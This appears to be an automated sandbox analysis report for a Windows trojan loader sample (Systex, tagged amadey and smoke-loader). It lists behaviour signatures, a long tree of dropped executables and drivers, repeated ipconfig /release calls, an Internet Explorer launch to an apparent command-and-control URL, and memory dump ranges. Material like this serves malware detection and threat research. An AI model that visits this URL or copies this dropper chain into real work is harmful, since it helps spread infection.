Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
16/04/2026, 04:13
General
- Target 2026-04-16_fa83b0dad004aa5cba26ef99c5608a37_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260416-etefkaft3p
- SHA256 5643436196fcd90382a075339c9d0c00dc45045a0d8c0ee7ee01bf51169f5156
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 31 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-16_fa83b0dad004aa5cba26ef99c5608a37_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-16_fa83b0dad004aa5cba26ef99c5608a37_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\ztrljebwuomgeywr.exeC:\Temp\ztrljebwuomgeywr.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ebwtomgeyw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\ebwtomgeyw.exeC:\Temp\ebwtomgeyw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ebwtomgeyw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ebwtomgeyw.exeC:\Temp\i_ebwtomgeyw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tnlgdywqoi.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tnlgdywqoi.exeC:\Temp\tnlgdywqoi.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tnlgdywqoi.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tnlgdywqoi.exeC:\Temp\i_tnlgdywqoi.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigaytqli.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qoigaytqli.exeC:\Temp\qoigaytqli.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigaytqli.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigaytqli.exeC:\Temp\i_qoigaytqli.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kicavqnifa.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kicavqnifa.exeC:\Temp\kicavqnifa.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kicavqnifa.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kicavqnifa.exeC:\Temp\i_kicavqnifa.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vpnifaxsqk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vpnifaxsqk.exeC:\Temp\vpnifaxsqk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vpnifaxsqk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vpnifaxsqk.exeC:\Temp\i_vpnifaxsqk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xspkicausm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xspkicausm.exeC:\Temp\xspkicausm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xspkicausm.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xspkicausm.exeC:\Temp\i_xspkicausm.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wupmhezurm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wupmhezurm.exeC:\Temp\wupmhezurm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wupmhezurm.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wupmhezurm.exeC:\Temp\i_wupmhezurm.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wrpjhbztrm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wrpjhbztrm.exeC:\Temp\wrpjhbztrm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wrpjhbztrm.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wrpjhbztrm.exeC:\Temp\i_wrpjhbztrm.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jeuomgeywr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jeuomgeywr.exeC:\Temp\jeuomgeywr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jeuomgeywr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jeuomgeywr.exeC:\Temp\i_jeuomgeywr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tolgeywqoj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tolgeywqoj.exeC:\Temp\tolgeywqoj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tolgeywqoj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tolgeywqoj.exeC:\Temp\i_tolgeywqoj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\aytqljdbvt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\aytqljdbvt.exeC:\Temp\aytqljdbvt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_aytqljdbvt.exe ups_ins3⤵
-
C:\Temp\i_aytqljdbvt.exeC:\Temp\i_aytqljdbvt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nifaysqkic.exe ups_run3⤵
-
C:\Temp\nifaysqkic.exeC:\Temp\nifaysqkic.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nifaysqkic.exe ups_ins3⤵
-
C:\Temp\i_nifaysqkic.exeC:\Temp\i_nifaysqkic.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ausnkfdxvp.exe ups_run3⤵
-
C:\Temp\ausnkfdxvp.exeC:\Temp\ausnkfdxvp.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ausnkfdxvp.exe ups_ins3⤵
-
C:\Temp\i_ausnkfdxvp.exeC:\Temp\i_ausnkfdxvp.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkfcxvpkf.exe ups_run3⤵
-
C:\Temp\snkfcxvpkf.exeC:\Temp\snkfcxvpkf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkfcxvpkf.exe ups_ins3⤵
-
C:\Temp\i_snkfcxvpkf.exeC:\Temp\i_snkfcxvpkf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causmkecxu.exe ups_run3⤵
-
C:\Temp\causmkecxu.exeC:\Temp\causmkecxu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causmkecxu.exe ups_ins3⤵
-
C:\Temp\i_causmkecxu.exeC:\Temp\i_causmkecxu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hezxrpjhbz.exe ups_run3⤵
-
C:\Temp\hezxrpjhbz.exeC:\Temp\hezxrpjhbz.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hezxrpjhbz.exe ups_ins3⤵
-
C:\Temp\i_hezxrpjhbz.exeC:\Temp\i_hezxrpjhbz.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tomgeywqoj.exe ups_run3⤵
-
C:\Temp\tomgeywqoj.exeC:\Temp\tomgeywqoj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tomgeywqoj.exe ups_ins3⤵
-
C:\Temp\i_tomgeywqoj.exeC:\Temp\i_tomgeywqoj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\geywrojdbw.exe ups_run3⤵
-
C:\Temp\geywrojdbw.exeC:\Temp\geywrojdbw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_geywrojdbw.exe ups_ins3⤵
-
C:\Temp\i_geywrojdbw.exeC:\Temp\i_geywrojdbw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ljdbvtnlgd.exe ups_run3⤵
-
C:\Temp\ljdbvtnlgd.exeC:\Temp\ljdbvtnlgd.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ljdbvtnlgd.exe ups_ins3⤵
-
C:\Temp\i_ljdbvtnlgd.exeC:\Temp\i_ljdbvtnlgd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4052 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\ztrljebwuomgeywr.sysC:\Temp\ztrljebwuomgeywr.sys1⤵
- Executes dropped EXE
-
C:\Temp\gbytrljdbv.sysC:\Temp\gbytrljdbv.sys1⤵
- Executes dropped EXE
-
C:\Temp\dyvqoigays.sysC:\Temp\dyvqoigays.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvqnigay.sysC:\Temp\fdxvqnigay.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvpnifay.sysC:\Temp\fdxvpnifay.sys1⤵
- Executes dropped EXE
-
C:\Temp\kfcxvpnhfa.sysC:\Temp\kfcxvpnhfa.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhczusmkec.sysC:\Temp\jhczusmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\upjhbzurmb.sysC:\Temp\upjhbzurmb.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrljebwuom.sysC:\Temp\wrljebwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\gbytrljdbw.sysC:\Temp\gbytrljdbw.sys1⤵
- Executes dropped EXE
-
C:\Temp\olgdywqoig.sysC:\Temp\olgdywqoig.sys1⤵
- Executes dropped EXE
-
C:\Temp\vtnlfdxvqn.sysC:\Temp\vtnlfdxvqn.sys1⤵
-
C:\Temp\sqkidavsnl.sysC:\Temp\sqkidavsnl.sys1⤵
-
C:\Temp\causnkfdxv.sysC:\Temp\causnkfdxv.sys1⤵
-
C:\Temp\pjhczusmke.sysC:\Temp\pjhczusmke.sys1⤵
-
C:\Temp\urmkecwupm.sysC:\Temp\urmkecwupm.sys1⤵
-
C:\Temp\pjhbztrmje.sysC:\Temp\pjhbztrmje.sys1⤵
-
C:\Temp\tomgeywqoj.sysC:\Temp\tomgeywqoj.sys1⤵
-
C:\Temp\ytqljdbvtn.sysC:\Temp\ytqljdbvtn.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
dyvqoigays.sys
ebwtomgeyw.exe
fdxvpnifay.sys
fdxvqnigay.sys
gbytrljdbv.sys
i_ebwtomgeyw.exe
i_kicavqnifa.exe
i_qoigaytqli.exe
i_tnlgdywqoi.exe
i_vpnifaxsqk.exe
i_wupmhezurm.exe
i_xspkicausm.exe
jhczusmkec.sys
kfcxvpnhfa.sys
kicavqnifa.exe
qoigaytqli.exe
tnlgdywqoi.exe
upjhbzurmb.sys
vpnifaxsqk.exe
wrpjhbztrm.exe
wupmhezurm.exe
xspkicausm.exe
ztrljebwuomgeywr.exe
ztrljebwuomgeywr.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
CreateProcess.exe
memory/64-196-0x00000000005A0000-0x000000000067C000-memory.dmp
memory/456-77-0x00000000008A0000-0x000000000097C000-memory.dmp
memory/556-158-0x0000000000890000-0x000000000096C000-memory.dmp
memory/632-207-0x00000000009E0000-0x0000000000ABC000-memory.dmp
memory/888-87-0x0000000000870000-0x000000000094C000-memory.dmp
memory/956-57-0x0000000000900000-0x00000000009DC000-memory.dmp
memory/1020-189-0x00000000008C0000-0x000000000099C000-memory.dmp
memory/1044-81-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1096-193-0x00000000008A0000-0x000000000097C000-memory.dmp
memory/1236-221-0x0000000000890000-0x000000000096C000-memory.dmp
memory/1312-197-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1324-59-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1492-182-0x0000000000920000-0x00000000009FC000-memory.dmp
memory/1548-171-0x0000000000910000-0x00000000009EC000-memory.dmp
memory/1548-16-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1576-51-0x00000000005B0000-0x000000000068C000-memory.dmp
memory/1632-162-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1752-20-0x0000000000800000-0x00000000008DC000-memory.dmp
memory/1892-168-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1892-176-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1940-200-0x0000000000900000-0x00000000009DC000-memory.dmp
memory/1956-137-0x00000000005B0000-0x000000000068C000-memory.dmp
memory/2224-35-0x00000000007D0000-0x00000000008AC000-memory.dmp
memory/2280-179-0x0000000000910000-0x00000000009EC000-memory.dmp
memory/2320-117-0x00000000007D0000-0x00000000008AC000-memory.dmp
memory/2404-210-0x0000000000690000-0x000000000076C000-memory.dmp
memory/2576-27-0x0000000000850000-0x000000000092C000-memory.dmp
memory/2596-29-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2716-211-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2780-174-0x0000000000870000-0x000000000094C000-memory.dmp
memory/2812-192-0x00000000008D0000-0x00000000009AC000-memory.dmp
memory/2892-130-0x0000000000740000-0x000000000081C000-memory.dmp
memory/2920-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2988-206-0x00000000007C0000-0x000000000089C000-memory.dmp
memory/2992-118-0x0000000000580000-0x000000000065C000-memory.dmp
memory/3024-214-0x00000000008E0000-0x00000000009BC000-memory.dmp
memory/3364-21-0x00000000008A0000-0x000000000097C000-memory.dmp
memory/3616-134-0x0000000000870000-0x000000000094C000-memory.dmp
memory/3628-88-0x0000000000870000-0x000000000094C000-memory.dmp
memory/3632-66-0x0000000000930000-0x0000000000A0C000-memory.dmp
memory/3716-213-0x00000000007D0000-0x00000000008AC000-memory.dmp
memory/3720-96-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3756-36-0x0000000000920000-0x00000000009FC000-memory.dmp
memory/3868-131-0x00000000008C0000-0x000000000099C000-memory.dmp
memory/3928-126-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4072-183-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4128-161-0x0000000000960000-0x0000000000A3C000-memory.dmp
memory/4144-94-0x0000000000950000-0x0000000000A2C000-memory.dmp
memory/4188-217-0x00000000008B0000-0x000000000098C000-memory.dmp
memory/4228-138-0x00000000008E0000-0x00000000009BC000-memory.dmp
memory/4272-204-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4292-190-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4320-42-0x0000000000960000-0x0000000000A3C000-memory.dmp
memory/4340-50-0x00000000007D0000-0x00000000008AC000-memory.dmp
memory/4344-65-0x00000000007E0000-0x00000000008BC000-memory.dmp
memory/4348-175-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4400-199-0x0000000000910000-0x00000000009EC000-memory.dmp
memory/4412-44-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4472-164-0x0000000000850000-0x000000000092C000-memory.dmp
memory/4560-111-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4572-165-0x0000000000920000-0x00000000009FC000-memory.dmp
memory/4664-185-0x0000000000920000-0x00000000009FC000-memory.dmp
memory/4700-203-0x00000000008B0000-0x000000000098C000-memory.dmp
memory/4748-157-0x0000000000940000-0x0000000000A1C000-memory.dmp
memory/4760-102-0x00000000008C0000-0x000000000099C000-memory.dmp
memory/4804-170-0x00000000008F0000-0x00000000009CC000-memory.dmp
memory/4812-154-0x00000000008D0000-0x00000000009AC000-memory.dmp
memory/4816-220-0x0000000000910000-0x00000000009EC000-memory.dmp
memory/4872-178-0x00000000008B0000-0x000000000098C000-memory.dmp
memory/5032-186-0x0000000000860000-0x000000000093C000-memory.dmp
memory/5048-218-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5052-124-0x00000000008E0000-0x00000000009BC000-memory.dmp
memory/5072-109-0x0000000000890000-0x000000000096C000-memory.dmp
memory/5088-103-0x0000000000990000-0x0000000000A6C000-memory.dmp
memory/5104-135-0x0000000000010000-0x00000000000AB000-memory.dmp